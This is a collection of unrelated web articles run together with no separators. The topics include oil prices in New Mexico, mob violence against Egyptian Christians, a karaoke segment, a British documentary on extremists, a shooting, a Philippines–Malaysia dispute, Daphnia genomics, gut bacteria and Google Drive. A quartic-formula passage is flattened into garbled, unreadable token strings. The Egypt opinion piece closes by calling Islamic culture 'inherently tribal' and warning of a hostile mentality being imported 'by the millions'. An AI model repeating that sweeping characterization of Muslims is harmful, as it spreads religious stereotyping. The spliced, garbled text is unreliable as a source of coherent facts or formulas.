wells. But like the small independent producers, large companies will likely begin to curtail new drilling by spring 2015, because hedging contracts that currently protect them from dropping prices will expire, Fine said. Most are now selling output at pre-signed prices of about $95 per barrel, but future contracts will be much lower. The first impact will be a decline in new drilling, rather than any slowdown in output at wells already producing, said Raye Miller, president of Regeneration Energy Corp. in Artesia, a small, independent company. That could begin by mid-2015. “At this point, the level of activity hasn’t slowed down at all, because most companies already have their capital budgets set going into next year,” Miller said. “It usually takes six months to a year after prices stay down that the impacts on production set in.” Still, small companies like Miller’s may be forced to curtail new drilling much sooner than that. “We’ll carry through with plans already in our budget to drill two new wells late this year and in early 2015,” Miller said. “But I can’t see doing any additional drilling next year if prices stay as they are.” ADVERTISEMENTSkip In addition, if prices continue to drop, companies large and small could revise even their current capital budgets, said New Mexico Oil and Gas Association spokesman Wally Drangmeister. “If prices go lower, companies will absolutely start re-working investment plans,” Drangmeister said. Prices, however, would need to go a lot lower for currently producing wells to start slowing down. “Most producers wouldn’t start to actually ‘shut-in’ wells even if the price per barrel dropped by another $20,” Miller said. Nevertheless, the projected slow-down in new exploration could end an unprecedented expansion streak that began in 2007, when modern techniques of hydraulic fracturing and horizontal drilling opened up hard-to-reach pools of hydrocarbons trapped in hard-rock shale, giving new life to the Permian and other U.S. basins. New Mexico oil production reached 100.8 million barrels last year, up 70 percent from 2007 and the highest state output since 1973, according to statistics from the state Oil Conservation Division. And from January to August of 2014, production climbed another 17 percent, from 65.6 million barrels in the first eight months of last year to 76.9 million barrels this year. That mirrors an historic national boom spurred on by unconventional shale-rock drilling. Domestic oil production nationwide reached 2.72 billion barrels in 2013, up nearly 50 percent from 1.83 billion barrels in 2008, according to U.S. Energy Information Administration. Meanwhile, even if current production levels remain steady, dropping oil prices and slower growth will have a significant impact on New Mexico’s finances. In August, state officials projected $285 million in “new” money for the fiscal year that begins next July, mostly from oil and gas revenue. “The state budget will take a big hit, because those projections were based on oil at $95 per barrel,” Fine said. There is, of course, a thick silver lining for consumers. Average prices for unleaded gasoline fell on Thursday to $2.92 per gallon nationally, and to $2.77 in New Mexico, according AAA. If those prices hold, it would save U.S. consumers about $61 billion at the pumps next year.Her crime? Her son is falsely accused of having a romantic relationship with a Muslim woman, which is banned by Islamic law, or sharia – the same body of teachings that prescribes the collective punishment of non-Muslim "infidels." Seven other Christian homes were also torched by the mob. A 70-year-old Christian woman was stripped naked, savagely beaten, and paraded in the streets of Egypt to jeers, whistles, and yells of "Allahu Akbar" after a mob of some 300 Muslim men descended on her house. The attacks occurred in Minya, Upper Egypt, on May 20, a Friday – the one day of the week when Muslims congregate in mosques and listen to sermons, and the one day of the week when most Muslim mob attacks on Christians occur. While on the ground being kicked, cursed, and spat upon, Sa'd Thabet, the Christian grandmother, managed to slide herself underneath a wagon. While hidden there, an unidentified woman slipped her some garments, and the traumatized woman eventually managed to escape. "I never saw the woman who covered me and don't know how I survived," she said during a closed meeting with some clergymen of the Coptic Christian Orthodox Church. They testified that her body was covered with wounds, adding that "though she is strong, it is sometimes hard for her to speak; she's always fighting back tears and sometimes breaks down." Prior to the attack on Thabet, her household had been receiving threats for some time. On the morning of the assault, some of the home's property was stolen and vandalized. She and her husband went to local police, who responded by threatening them and kicking them out of the station. A few hours later, around 8 pm, the attack occurred. It took the same local police over two hours to appear, by which time the "avenged" Muslim mob had dispersed. When asked why she reported the incident four days after it happened, Thabet said: "I tried to hide and suppress what happened, but I could only take the feelings of humiliation and oppression for four days, at which point I decided to return to the local police station and testify about what happened to me before those who had refused to hear me." She is hardly the first Christian woman in Egypt to be treated so. In 2013, Muslim Brotherhood supporters "burned down a Christian school, paraded three nuns on the streets like 'prisoners of war,' and sexually abused two other female staff even as at least 58 attacks on Christians and their property were reported across Egypt over the last four days. At least two Christians have died in the attacks." Nor is this an "Egyptian" phenomenon; it's an "Islamic" one. In Pakistan, a 28-year-old pregnant Christian mother of four was stripped naked, beaten, and forced to walk nude in her town by two Muslim brothers following an argument. She lost her baby in the ordeal, which "was motivated because of Bibi's [Christian] religious beliefs." Similarly, a Muslim family kidnapped, beat, and left naked on the streets an 8-year-old Christian girl as a way to "punish" her uncle for pursuing a relationship with a female member of the Muslim family. In short, every aspect of this most recent attack is part of a well established pattern that has played over in Egypt, Pakistan, and other Muslim-majority nations innumerable times: a Christian is (often falsely) accused of some infraction; his family and possibly entire village is savagely attacked, beaten, raped, and mugged by the mob; and police take their time to arrive and do little when there. In 2012, after 3,000 Muslims attacked the Christians of a village near Alexandria, it took the army an hour to arrive, even though they were only one mile away. "This happens every time. They wait outside the village until the Muslims have had enough violence, then they appear," said a witness. As Minya's most senior Christian cleric, Anba Makarios, put it during a televised interview about Thabet's ordeal, if a Muslim man were involved with a Christian woman, police's response "would not have been anything like what happened.... No one did anything, and the police took no pre-emptive or security measures in anticipation of the attacks. We are not living in a jungle or a tribal society." Unfortunately, the good priest is wrong. Islamic culture – founded as it is by an Arab tribesman – is inherently tribal. The umma is the super-tribe of Islam, meaning Muslims side with Muslims against all "infidels" – that is, outsiders – even if the latter are good and fair to them, according to the doctrine of "loyalty and enmity." This is the hostile, unassimilating, tribal mentality that the West is importing by the millions. In Muslim-majority nations – where Christians and Muslims look the same, speak the same language, and are virtually indistinguishable – just being non-Muslim is enough to be subjected to the aforementioned hate, violence, and discrimination. How much more is to be expected when the host country isn't just non-Muslim, but completely alien in all ways? *This report is based on several Arabic language news sources. Raymond Ibrahim, author of Crucified Again, holds fellowships at the David Horowitz Freedom Center and the Middle East Forum.If you use the internet, you might have come across videos on YouTube of a talk show host "trying to get to work" with the help of some famous celebrities. The video series, "Carpool Karaoke," is pioneered by "Late Late Show" host James Corden and is becoming increasingly popular, entertaining audiences around the world. Once in the car, Corden and his celebrity guests begin to rock out, most often to music performed by the celebrity sitting shotgun. In the past, Corden has featured singers Jennifer Lopez, Mariah Carey, Justin Bieber, Adele, Nick Jonas and Demi Lovato. Most recently, Corden filmed an episode of "Carpool Karaoke" with none other than the First Lady of the United States, Michelle Obama. The video started out lighthearted and fun, with Corden and Obama talking about grilled cheese sandwiches, and it continued as they sang the karaoke version of Beyoncé's "Single Ladies." While the video was all in good fun, the First Lady also took, this time, to draw attention to a problem that has not received enough attention lately: the 62 million girls in the world who do not have access to education. Half of the girls who make up the 62 million are adolescents who cannot attend school for a variety of reasons. Maybe the schools in their area are underdeveloped, or they are not allowed to attend school because of safety concerns. In the interview with James Corden, Obama states: "So much could be corrected in the world if girls were educated and had power over their lives." Michelle Obama's charity organization, Let Girls Learn, is out spreading awareness about the importance of female education in modern society by launching trips to Spain, Liberia, and Morocco. While the company does focus a lot on its international presence, Obama tells American boys and girls that it is important not to take their education for granted. There are many countries around the world that do not offer the same educational freedoms that are present in the United States. The video finishes up with Missy Elliot popping up in the backseat, while the three of them sing "This Is For My Girls." If you have any questions about Let Girls Learn, you can visit the charity's official web page.The four roots r 1, r 2, r 3, r 4 of a quartic polynomial equation x 4 + a ⁢ x 3 + b ⁢ x 2 + c ⁢ x + d = 0 are given by r 1 = - a 4 - 1 2 ⁢ a 2 4 - 2 ⁢ b 3 + 2 1 3 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 ⁢ ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 ) 1 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 54 ) 1 3 - 1 2 ⁢ a 2 2 - 4 ⁢ b 3 - 2 1 3 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 ⁢ ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 ) 1 3 - ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 54 ) 1 3 - - a 3 + 4 ⁢ a ⁢ b - 8 ⁢ c 4 ⁢ a 2 4 - 2 ⁢ b 3 + 2 1 3 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 ⁢ ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 ) 1 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 54 ) 1 3 r 2 = - a 4 - 1 2 ⁢ a 2 4 - 2 ⁢ b 3 + 2 1 3 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 ⁢ ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 ) 1 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 54 ) 1 3 + 1 2 ⁢ a 2 2 - 4 ⁢ b 3 - 2 1 3 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 ⁢ ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 ) 1 3 - ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 54 ) 1 3 - - a 3 + 4 ⁢ a ⁢ b - 8 ⁢ c 4 ⁢ a 2 4 - 2 ⁢ b 3 + 2 1 3 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 ⁢ ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 ) 1 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 54 ) 1 3 r 3 = - a 4 + 1 2 ⁢ a 2 4 - 2 ⁢ b 3 + 2 1 3 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 ⁢ ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 ) 1 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 54 ) 1 3 - 1 2 ⁢ a 2 2 - 4 ⁢ b 3 - 2 1 3 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 ⁢ ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 ) 1 3 - ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 54 ) 1 3 + - a 3 + 4 ⁢ a ⁢ b - 8 ⁢ c 4 ⁢ a 2 4 - 2 ⁢ b 3 + 2 1 3 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 ⁢ ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 ) 1 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d + - 4 ⁢ ( b 2 - 3 ⁢ a ⁢ c + 12 ⁢ d ) 3 + ( 2 ⁢ b 3 - 9 ⁢ a ⁢ b ⁢ c + 27 ⁢ c 2 + 27 ⁢ a 2 ⁢ d - 72 ⁢ b ⁢ d ) 2 54 ) 1 3The Jihadi Next Door will feature Abu Rumaysah, the London Muslim convert thought to have overseen the murder of five men Unseen footage of the man suspected of being the latest British face of Islamic State propaganda is to be shown by Channel 4 on Tuesday night. The man who oversaw the murder of five men in an Isis video released in January was thought to be a London Muslim convert called Siddhartha Dhar, who appears in a Channel 4 documentary about extremists titled the Jihadis Next Door. In the film, Dhar, who changed his named to Abu Rumaysah after converting to Islam, shows filmmaker Jamie Roberts around a garage in east London that contains the Isis flag. Dhar maintains it is a “real possibility” that the Isis flag will one day fly over Downing Street and warns: “One man died in Woolwich, Lee Rigby, and the whole country went up in uproar, there are many Lee Rigbys in Muslim countries … and if these issues aren’t addressed we can expect more carnage in this country and more cycle of violence”. The footage was shot in January 2014 – nine months before Dhar was arrested by counter-terrorism police. He subsequently skipped bail and went abroad and is thought to have gone to Syria with his family. Channel 4 has been asked by the police to let them see the film before it is broadcast, but the commissioning editor, David Brindley, said that “in line with other broadcasters” it would not comply. The Jihadis Next Door also focuses on an extremist preacher called Abu Haleema and his friend Mohammed Shamsuddin. Haleema has links to a teen jihadi who wanted to carry out a beheading on Anzac Day in Australia, while Shamsuddin was an associate of Islamic cleric Anjem Choudary and joined a radical group after meeting hate preacher Omar Bakri, also known at the Tottenham Ayatollah. The pair are shown organising demonstrations outside mosques or on London streets and trying to convert passers-by. However, they are often challenged by other Muslims, with one man accusing them of having sympathies with Isis – something both men avoid questions about in the film. They are asked by Roberts to watch an execution video to gauge their reaction and are shown making jokes and laughing, although they later add it is “horrific... it’s a horrible way to die.” Haleema is filmed explaining that homosexuality and adultery under strict Islamic law will be punished and that the punishments are throwing people off high buildings and stoning them to death. When asked if people would watch it, he says, “of course”, and disagrees it would be gruesome, saying: “No, people like that kind of stuff, innit.” Shamsuddin explains some of the thinking behind their views: “The British government doesn’t wanna look at its own foreign policy, all it wants to do is look at Muslims. Condemn Muslims, target Muslims, you’re stigmatising a whole community. What’s gonna happen, you’re gonna face a backlash in this country … if you’re gonna suppress a people for so long, if you’re gonna suppress and suppress I mean it’s like a tinder box, it’s gonna explode.” And Haleema says the racism his family encountered when he was younger “builds up hatred inside of you”. The film, made by production company Mentorn over two years, explores the status that joining the radical extremist group gives some young men. Haleema is often recognised due to his video messages on social media and one young man, Abu Mattasim from Birmingham who has had his passport taken from him by police, says that “makes me feel very good”. When asked why, he answers: “Because it makes me feel important.” That theme is expounded when at one point in the film Haleema is shown explaining how he makes his beard shiny with special oil and Roberts said there was “a fashion element” to the group who wear Nike Air trainers and style themselves in a particular way. Following a screening in London of the documentary, Roberts said he understood that some people may see it as a platform for extremist preachers but argued that it “reveals the hypocrisy and stupidity” of what they are doing and said he had no sympathy “with what they are advocating”. Roberts said that Dhar, with whom he spent time off-camera in a meeting in a Costa coffee shop, seemed very articulate but rarely moved out of “radical-speak”. He said that when the Isis execution video emerged in January, Shamsuddin sent him a text telling him he might “know the voice”, which he took to hint that Dhar was the man overseeing the murders in the video and that it gave him “chills”. He revealed that the extremists had other interests – Shamsuddin told him he was a fan of the Great British Bake Off but when Roberts asked if he was pleased that a Muslim, Nadiya Hussain, had won, he said he did not consider her to be Muslim. Channel 4 head of documentaries, Nick Mirsky, said the programme “makes it clearer than ever how difficult it is for all of us to deal with the threat of extremism and extremists”, but also explored the “tensions between civil liberties and the need to protect the state”.Man shoots, kills brother after argument over cheeseburger, police say St. Cloud authorities said a 25-year-old man shot and killed his brother after fighting about a cheeseburger Thursday night.Officers were called to the scene along Sixth Street, near Michigan Avenue, around 10 p.m. Thursday.Police said Nicholas Middendorf, 28, had been out drinking with his mother before the argument broke out.According to police, Benjamin A. Middendorf shot his brother in the chest with a 9 mm handgun. Nicholas Middendorf was pronounced dead at the scene.Benjamin Middendorf was arrested on suspicion of first-degree murder and booked into the Osceola County Jail, where he's being held without bail.14277264 St. Cloud authorities said a 25-year-old man shot and killed his brother after fighting about a cheeseburger Thursday night. Officers were called to the scene along Sixth Street, near Michigan Avenue, around 10 p.m. Thursday. Advertisement Police said Nicholas Middendorf, 28, had been out drinking with his mother before the argument broke out. According to police, Benjamin A. Middendorf shot his brother in the chest with a 9 mm handgun. Nicholas Middendorf was pronounced dead at the scene. Benjamin Middendorf was arrested on suspicion of first-degree murder and booked into the Osceola County Jail, where he's being held without bail. AlertMeThe Philippines has offered to downgrade its claim on Sabah in exchange for Malaysia’s support for its case against China before the United Nations. The quid pro quo was contained in a note verbale the Department of Foreign Affairs handed to a representative of the Malaysian Embassy last week, a week after the visit of Malaysian Defense Minister Dato Seri Hishammuddin Tun Hussein. The note verbale, a copy of which was obtained by VERA Files, referred to the May 6, 2009 joint submission by Malaysia and Vietnam to the United Nations Commission on the Limits of the Continental Shelf (CLCS) in which Malaysia claimed an extended continental shelf (350 nautical miles from baseline) that was clearly projected from Sabah. The Philippines, in an Aug. 4, 2009 note to the U.N. Secretary General, protested the joint submission because it effectively declared Sabah to be a Malaysian territory. The Philippines claims ownership of Sabah, which is at present occupied by Malaysia, based on the title of the Sultan of Sulu who ceded proprietary rights over the 76,115-square-kilometer land to the Philippines in 1962. In last week’s note verbale, however, the DFA informed the Malaysian government that it is “reviewing” its 2009 protest and its action would depend on Malaysia’s response to Manila’s two requests related to the South China Sea conflicting territorial claims. The first request is for Malaysia to “confirm” that its claim of an extended continental shelf is “entirely from the mainland coast of Malaysia, and not from any of the maritime features in the Spratly islands.” The DFA also requested Malaysia to confirm that it “does not claim entitlement to maritime areas beyond 12 nautical miles from any of the maritime features in the Spratly islands it claims.” Under the U.N. Convention on the Law of the Sea (UNCLOS), a state is entitled to 12-nautical-mile territorial sea over which it exercises sovereignty. Malaysia
a new field of science--environmental genomics--that aims to better understand how the environment and genes interact. This includes a practical need to apply scientific developments from this field to managing our water resources and protecting human health from chemical pollutants in the environment. James Klaunig, a scientist at IU Bloomington, predicts that the work will yield a more realistic and scientifically-based risk evaluation. "Genome research on the responses of animals to stress has important implications for assessing environmental risks to humans," Klaunig said. "Daphnia is an exquisite aquatic sensor, a potential high-tech and modern version of the mineshaft canary." "With knowledge of its genome, and using both field sampling and laboratory studies, the possible effects of environmental agents on cellular and molecular processes can be resolved and linked to similar processes in humans." The scientists learned that of all sequenced invertebrate genomes so far, Daphnia shares the most genes with humans. Daphnia's gene expression patterns change depending on its environment, and the patterns indicate what state its cells are in. A water flea bobbing in water containing a chemical pollutant will tune-up or tune-down a suite of genes differently than its sisters accustomed to water without the pollutant, for example. The health effects of most industrially produced compounds in the environment are unknown, because current testing procedures are too slow, too costly, and unable to indicate the causes for their effects on animals, including humans. Over the course of the project, the Daphnia Genomics Consortium has grown from a handful of founding members to more than 450 investigators around the globe. "Assembling so many experts around a shared research goal is no small feat," said Peter Cherbas, director of the CGB. "The genome project signals the coming-of-age of Daphnia as a research tool for investigating the molecular underpinnings of key ecological and environmental problems." Colbourne agreed, adding, "New model systems rarely arrive on the scene with such clear and important roles to play in advancing a new field of science." The work also received support from the U.S. Department of Energy, Lilly Endowment Inc., Roche NimbleGen Inc., the U.S. National Institutes of Health, the U.S. Department of Health and Human Services, and Indiana University. -NSF- Media Contacts Cheryl Dybas, NSF, (703) 292-7734, email: cdybas@nsf.gov David Bricker, Indiana University, (812) 856-9035, email: brickerd@indiana.edu The National Science Foundation (NSF) is an independent federal agency that supports fundamental research and education across all fields of science and engineering. In fiscal year (FY) 2019, its budget is $8.1 billion. NSF funds reach all 50 states through grants to nearly 2,000 colleges, universities and other institutions. Each year, NSF receives more than 50,000 competitive proposals for funding and makes about 12,000 new funding awards. Get News Updates by Email Useful NSF Web Sites: NSF Home Page: https://www.nsf.gov NSF News: https://www.nsf.gov/news/ For the News Media: https://www.nsf.gov/news/newsroom.jsp Science and Engineering Statistics: https://www.nsf.gov/statistics/ Awards Searches: https://www.nsf.gov/awardsearch/JANUARY 21, 2016 Rachel Lutz Controlling the levels of specific gut bacteria could be useful in preventing severe diarrhea, according to findings published in the journal Microbiome.Researchers from Michigan State University used DNA sequencing from gut microbiomes in patients with diarrhea to determine what bacterial communities are effective in reducing severe diarrhea. The researchers compared the microbiomes of the sick patients with the microbiomes of healthy family members and found major differences between the sick and healthy populations.The most drastic contrast came from the differences in the level of Escherichia, bacteria commonly found in the intestines that can sometimes be pathogenic.“Compared to the uninfected patients in the study, the patients who were infected with four different diarrheal pathogens – Salmonella, Shiga toxin producing E. coli, Campylobacter, and Shigella – all had increased levels of Escherichia,” study leader Shannon Manning, explained in a press release. “In addition, patients had a decrease in the Escherichia population after they recovered.”The researchers said that one surprising finding was that the changes in the microbiomes from patients were all altered in a similar way, no matter what the bacteria causing the infection was. They also discovered that patients with a specific microbial community profile had more a more severe form of the disease compared to others. The changes were similar no matter the patient’s age, gender, or race.The researchers hope that their findings would allow more extensive examinations of diarrhea treatment strategies involving probiotics or therapeutics aimed at increasing beneficial microbes.Another beneficial therapeutic route to explore is a more rapid way to decrease Proteobacteria populations – a group of many pathogens that includes Escherichia. The new treatments, the study authors said, may be able to reduce the burden of intestinal infections and allow for faster recoveries.Got questions about Google's new cloud storage product, Google Drive? Here are some answers. Got more questions? Add them in the comments or e-mail the author; we'll add to the story as needed. What is Google Drive? Google Drive is a way to store your files on Google's servers, or "in the cloud." If you run the free Google Drive application, then you get a folder on your computer (Windows or OSX) that looks just like a directory on your hard disk that you can drag your files in to. Anything stored in that folder is kept on your hard disk and also copied to your account in the cloud. You can access those files from drive.google.com or from other computers, including mobile devices. Google Drive is also the new name for Google Docs, which is Google's suite of Web-based productivity tools -- its word processor, spreadsheet, and presentation app. Documents you create using these tools now show up in your Google Drive. Sort of. What do you mean, "sort of?" For the time being, while you can see documents created or shared with you using the Google Docs tools in your Google Drive on your computers, the data in those files is not stored or copied to your computers. Rather, what you see in your Google Drive are links to your files. If you open one, it'll open in the browser-based Google app. Files that you drag into your Drive from your hard disk are actually copied to the cloud. They're also synchronized to your other computers that use Google Drive. What is synchronization? One of the coolest things ever. When you use a synchronizing storage product, like Google Drive, any file you put in the drive, and anything you change that's stored in the drive, is automatically updated not just in the cloud but on all the other devices that you have connected to the Drive. So you can start working on a file on one computer, close it, and then open it on a second computer, and what you'll see is the version you closed on the first one. There is a potential danger when using synchronization: If you update a file before your cloud service has sent you the latest version, you can end up with collisions or version conflicts. Most cloud storage services will flag conflicts with file name or extension changes, but untangling conflicting files is never fun. Files accessed directly from cloud-based services, like Google Docs, don't suffer from this problem, since changes are made directly on the Web version of the file. Just to be clear: I can store any file? Any folder? Yes. Within file size and space limits, anything you can store on your hard drive can also be stored in a cloud drive. You can also move entire folders in your Google Drive. What you can't do with Google Drive -- that you can with some other services -- is sync files or folders in place. With Google Drive, if you want to sync a file that's buried in a folder on your hard drive but you don't want to move it to your Google Drive, you can't. You have to drag it to the Google Drive. Other services, like Microsoft Live Mesh, SugarSync, Wuala, and Cubby let you sync files or folders without moving them. I keep hearing about Dropbox. Is it the same thing? Is Google going to kill it? Dropbox is the tech elite's favored sync and store product. It's very popular and it's easier even than Google Drive to set up and use. It's especially easy to share files using Dropbox. Google Drive is a big threat to Dropbox, but if you like both, use both. Tell me more about sharing with a cloud drive. E-mailing files around for review among coworkers is the old way to share data, but with cloud storage, now all you have to do is email a link to a file stored on your Drive. All the services let you mark a file or folder for sharing and then invite people to view or download it. However, if you're going to be asking people to comment on or update a file, you can run into versioning problems. You don't want people working on the file at the same time. In-place online editing products like Google Docs are better for real-time collaboration. What makes Google Drive different from all the other competitors doing this? There are at least 10 direct competitors to Google Drive. All have the benefits. Google, not surprisingly, touts its search capabilities as one big differentiator. In addition to being able to quickly search within the document files that you upload to Google Drive, it will also be able to search on scanned text in images you're uploaded, using optical character recognition running in the Google Cloud. Additionally, pictures stored on Google Drive can be searched by Google Goggles, the company's service that finds images based on description, like "Eiffel Tower," or "Mount Rushmore." Google Drive also has good prices if you need more than the free 5GB everyone gets. Wait, I'm supposed to pay for this? You don't have to. Google will give you 5GB of completely free storage, which is pretty useful for storing files to use across computers, or to share, or that you need to access on your mobile device. But if you want to store large archives of photos or videos, you can pay for more storage. 25GB is $2.49 a month; 100GB is $4.99 a month. There are plans all the way to a ridiculous 16 terabytes of storage. What was that about mobile? Can I access my Google Drive files on my mobile device? Won't synchronizing to my mobile fill up all its space? Yes, there are mobile apps for most of these services. Google Drive is only available on Android right now, although an iPhone app is coming. With cloud storage mobile apps, you can see what's stored in your cloud drive easily, and then download or view files as needed. It won't use up all your storage the moment you set it up. Is Google going to be reading the files I store on Google Drive? Updated Under the heading, Your Content in our Services in Google's terms of service, Google states, "You retain ownership of any intellectual property rights that you hold in that content. In short, what belongs to you stays yours." That means that Google can't use your content for commercial purposes without your consent. However, the TOS also states that, "you give Google (and those we work with) a worldwide license to use, host, store, reproduce, modify, create derivative works (such as those resulting from translations, adaptations or other changes we make so that your content works better with our Services), communicate, publish, publicly 